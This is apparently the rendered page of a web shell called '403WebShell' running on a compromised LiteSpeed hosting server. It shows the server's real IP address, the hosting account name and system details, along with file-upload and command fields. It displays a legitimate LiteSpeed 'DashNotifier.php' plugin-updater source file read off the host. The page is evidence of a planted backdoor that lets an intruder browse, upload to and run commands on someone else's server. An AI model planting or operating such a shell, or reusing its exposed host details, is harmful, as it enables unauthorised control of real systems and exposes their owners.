Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.226.180.253
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/local/lsws/add-ons/webcachemgr/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/lsws/add-ons/webcachemgr/src/DashNotifier.php
<?php

/** *********************************************
 * LiteSpeed Web Server WordPress Dash Notifier
 *
 * @author    Michael Alegre
 * @copyright 2019-2023 LiteSpeed Technologies, Inc.
 * *******************************************
 */

namespace Lsc\Wp;

use Lsc\Wp\Context\Context;
use Lsc\Wp\WpWrapper\WpConstants;
use Lsc\Wp\WpWrapper\WpFuncs;

class DashNotifier
{

    /**
     * @var string
     */
    const BYPASS_FLAG = '.dash_notifier_bypass';

    /**
     * @var string
     */
    const DASH_MD5 = 'dash_md5';

    /**
     * @var string
     */
    const DASH_PLUGIN = 'dash-notifier/dash-notifier.php';

    /**
     * @var string
     */
    const DEFAULT_PLUGIN_PATH = '/wp-content/plugins/dash-notifier';

    /**
     * @deprecated 1.9
     *
     * @var string
     */
    const DOWNLOAD_DIR = '/usr/src/litespeed-wp-plugin';

    /**
     * @var string
     */
    const PLUGIN_NAME = 'dash-notifier';

    /**
     * @var string
     */
    const VER_FILE = 'dash_ver';

    private function __construct()
    {

    }

    /**
     *
     * @since 1.9
     *
     * @return void
     *
     * @throws LSCMException  Thrown when read dash version file command fails.
     * @throws LSCMException  Thrown indirectly by self::getLatestVersion()
     *     call.
     * @throws LSCMException  Thrown indirectly by self::downloadVersion() call.
     * @throws LSCMException  Thrown indirectly by self::downloadVersion() call.
     * @throws LSCMException  Thrown indirectly by self::downloadVersion() call.
     * @throws LSCMException  Thrown indirectly by Logger::error() call.
     */
    public static function prepLocalDashPluginFiles()
    {
        $dashVerFile = Context::LOCAL_PLUGIN_DIR . '/' . self::VER_FILE;

        if ( ! file_exists($dashVerFile) ) {
            self::downloadVersion(self::getLatestVersion());
            return;
        }

        if ( ($content = file_get_contents($dashVerFile)) === false ) {
            throw new LSCMException(
                'prepLocalDashPluginFiles(): Failed to read file '
                    . self::VER_FILE . ' contents.'
            );
        }

        $localVer = trim($content);

        $pluginDir = Context::LOCAL_PLUGIN_DIR . '/' . self::PLUGIN_NAME;

        if ( ! file_exists($pluginDir) ) {
            self::downloadVersion($localVer);
            return;
        }

        $isStoredMd5Valid = (
            file_get_contents(Context::LOCAL_PLUGIN_DIR . '/' . self::DASH_MD5)
            ==
            Util::DirectoryMd5($pluginDir)
        );

        if ( !$isStoredMd5Valid ) {
            self::downloadVersion($localVer);
            return;
        }

        clearstatcache();

        if ( (time() - filemtime($dashVerFile)) > 86400 ) {

            try {
                $latestVer = self::getLatestVersion();

                if ( Util::betterVersionCompare($latestVer, $localVer, '<') ) {
                    self::downloadVersion($latestVer);
                }
            }
            catch ( LSCMException $e ) {
                Logger::error($e->getMessage());
            }

            touch($dashVerFile);
        }
    }

    /**
     *
     * @since 1.9
     *
     * @return string
     *
     * @throws LSCMException  Thrown when unable to retrieve latest Dash
     *     Notifier plugin version.
     */
    public static function getLatestVersion()
    {
        $content = Util::get_url_contents(
            'https://www.litespeedtech.com/packages/lswpcache/dash_latest'
        );

        if ( empty($content) ) {
            throw new LSCMException(
                'Could not retrieve latest Dash Notifier plugin version'
            );
        }

        return trim($content);
    }

    /**
     *
     * @since 1.9
     *
     * @param string $version
     *
     * @throws LSCMException  Thrown indirectly by self::wgetPlugin() call.
     */
    protected static function downloadVersion( $version )
    {
        $pluginDir = Context::LOCAL_PLUGIN_DIR . '/' . self::PLUGIN_NAME;

        if ( file_exists($pluginDir) ) {
            exec("/bin/rm -rf $pluginDir");
        }

        self::wgetPlugin($version, true);
    }

    /**
     *
     * @since 1.9
     *
     * @param string $version
     * @param bool   $saveMD5
     *
     * @throws LSCMException  Thrown when wget command fails to download
     *     requested Dash Notifier plugin version.
     * @throws LSCMException  Thrown when unable to unzip downloaded Dash
     *     Notifier plugin package.
     * @throws LSCMException  Thrown when downloaded Dash Notifier plugin
     *     package is missing an expected file.
     * @throws LSCMException  Thrown indirectly by Logger::info() call.
     * @throws LSCMException  Thrown indirectly by Util::unzipFile() call.
     */
    protected static function wgetPlugin( $version, $saveMD5 = false )
    {
        Logger::info("Downloading Dash Notifier v$version...");

        $zipFileName  = self::PLUGIN_NAME . ".$version.zip";

        exec(
            "wget -q --tries=1 --no-check-certificate "
                . "https://downloads.wordpress.org/plugin/$zipFileName -P "
                . Context::LOCAL_PLUGIN_DIR,
            $output,
            $return_var
        );

        if ( $return_var !== 0 ) {
            throw new LSCMException(
                "Failed to download Dash Notifier v$version with wget exit "
                    . "status $return_var.",
                LSCMException::E_NON_FATAL
            );
        }

        $localZipFile = Context::LOCAL_PLUGIN_DIR . "/$zipFileName";

        $extracted = Util::unzipFile($localZipFile, Context::LOCAL_PLUGIN_DIR);
        unlink($localZipFile);

        if ( ! $extracted ) {
            throw new LSCMException(
                "Unable to unzip $localZipFile",
                LSCMException::E_NON_FATAL
            );
        }

        $pluginDir    = Context::LOCAL_PLUGIN_DIR . '/' . self::PLUGIN_NAME;

        if ( ! file_exists("$pluginDir/" . self::PLUGIN_NAME . '.php') ) {
            throw new LSCMException(
                "Unable to download Dash Notifier v$version.",
                LSCMException::E_NON_FATAL
            );
        }

        if ( $saveMD5 ) {
            file_put_contents(
                Context::LOCAL_PLUGIN_DIR . '/' . self::DASH_MD5,
                Util::DirectoryMd5($pluginDir)
            );
        }

        file_put_contents(
            Context::LOCAL_PLUGIN_DIR . '/' . self::VER_FILE,
            $version
        );
    }

    /**
     * Check if WordPress installation should be notified using the Dash
     * Notifier plugin.
     *
     * @param string $wpPath  Root directory for WordPress installation.
     *
     * @return bool
     */
    public static function canNotify( $wpPath )
    {
        return !file_exists("$wpPath/" . self::BYPASS_FLAG);
    }

    /**
     * Checks the current installation for existing LSCWP plugin files and
     * copies them to the installation's plugins directory if not found.
     * This function should only be run as the user.
     *
     * @return bool  True when new Dash Notifier plugin files are used.
     *
     * @throws LSCMException  Thrown when unable to copy Dash Notifier plugin
     *     files to WordPress plugin directory.
     * @throws LSCMException  Thrown indirectly by Logger::debug() call.
     */
    public static function prepareUserInstall()
    {
        $pluginDir = WpConstants::getWpConstant('WP_PLUGIN_DIR');

        $dashNotifierPlugin = "$pluginDir/dash-notifier/dash-notifier.php";

        if ( file_exists($dashNotifierPlugin) ) {
            /**
             * Existing installation detected.
             */
            return false;
        }

        exec(
            '/bin/cp -rf ' . Context::LOCAL_PLUGIN_DIR . '/' . self::PLUGIN_NAME
            . " $pluginDir"
        );

        if ( !file_exists($dashNotifierPlugin) ) {
            throw new LSCMException(
                "Failed to copy Dash Notifier plugin files to $pluginDir.",
                LSCMException::E_NON_FATAL
            );
        }

        Logger::debug(
            'Copied Dash Notifier plugin files into plugins directory '
                . $pluginDir
        );

        return true;
    }

    /**
     * Activate Dash Notifier plugin if it is not already activated, and give
     * the plugin any notification data in the form of a JSON encoded array.
     *
     * @param string $jsonInfo  Dash Notifier plugin info.
     *
     * @return bool
     *
     * @throws LSCMException  Thrown when unable to find Dash Notifier plugin
     *     files.
     */
    public static function doNotify( $jsonInfo )
    {
        if (
            file_exists(
                WpConstants::getWpConstant('WP_PLUGIN_DIR')
                    . '/' . self::DASH_PLUGIN
            )
        ) {
            /**
             * Used to pass info to the Dash Notifier Plugin.
             */
            Util::define_wrapper( 'DASH_NOTIFIER_MSG', $jsonInfo);

            if ( !WpFuncs::isPluginActive(self::DASH_PLUGIN) ) {

                /**
                * Should not check directly, can error on success due to object
                * cache.
                */
               WpFuncs::activatePlugin(self::DASH_PLUGIN);

               if ( !WpFuncs::isPluginActive(self::DASH_PLUGIN) ) {
                   return false;
               }
            }
            else {
                include WpConstants::getWpConstant('WP_PLUGIN_DIR')
                    . '/' . self::DASH_PLUGIN;
            }
        }
        else {
            throw new LSCMException(
                'Dash Notifier plugin files are missing. Cannot notify.',
                LSCMException::E_NON_FATAL
            );
        }

        return true;
    }

    /**
     *
     * @param bool $uninstall
     */
    public static function deactivate( $uninstall )
    {
        WpFuncs::deactivatePlugins(self::DASH_PLUGIN);

        if ( $uninstall ) {
            //add some msg about having removed plugin files?
            WpFuncs::deletePlugins(array( self::DASH_PLUGIN ));
        }
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit